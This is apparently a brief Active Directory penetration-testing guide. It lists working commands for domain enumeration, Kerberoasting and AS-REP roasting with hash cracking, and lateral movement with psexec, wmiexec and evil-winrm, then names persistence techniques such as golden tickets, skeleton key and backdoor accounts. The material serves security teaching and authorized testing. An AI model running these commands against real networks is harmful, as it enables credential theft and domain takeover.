Active Directory pentesting

Introduction to AD Pentesting

Active Directory (AD) is the backbone of most enterprise networks. Understanding how to assess and exploit AD environments is crucial for penetration testers. This comprehensive guide covers the entire AD pentesting methodology, from initial access to domain admin compromise.

Enumeration Phase

The first step in AD pentesting is thorough enumeration:

# Using BloodHound for AD enumeration
SharpHound.exe -c All

# PowerView enumeration
Get-NetDomain
Get-NetUser
Get-NetGroup
Get-NetComputer

# LDAP enumeration
ldapsearch -x -h dc.domain.com -b "dc=domain,dc=com"

Kerberoasting

Kerberoasting is a technique to extract service account credentials:

# Request service tickets
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat

# Using Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting

AS-REP Roasting targets accounts with "Do not require Kerberos preauthentication" enabled:

# Using Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Using impacket
GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep.txt

Privilege Escalation

Common privilege escalation techniques in AD:

Exploiting misconfigured GPOs
Abusing delegation (Unconstrained/Constrained)
DCSync attack
Golden/Silver ticket attacks
Pass-the-Hash/Pass-the-Ticket

Lateral Movement

Techniques for moving laterally through the network:

# PSExec
psexec.py domain/user:password@target

# WMI
wmiexec.py domain/user:password@target

# WinRM
evil-winrm -i target -u user -p password

Persistence

Maintaining access in AD environments:

Creating backdoor accounts
Golden ticket persistence
Skeleton key attack
DCShadow
AdminSDHolder abuse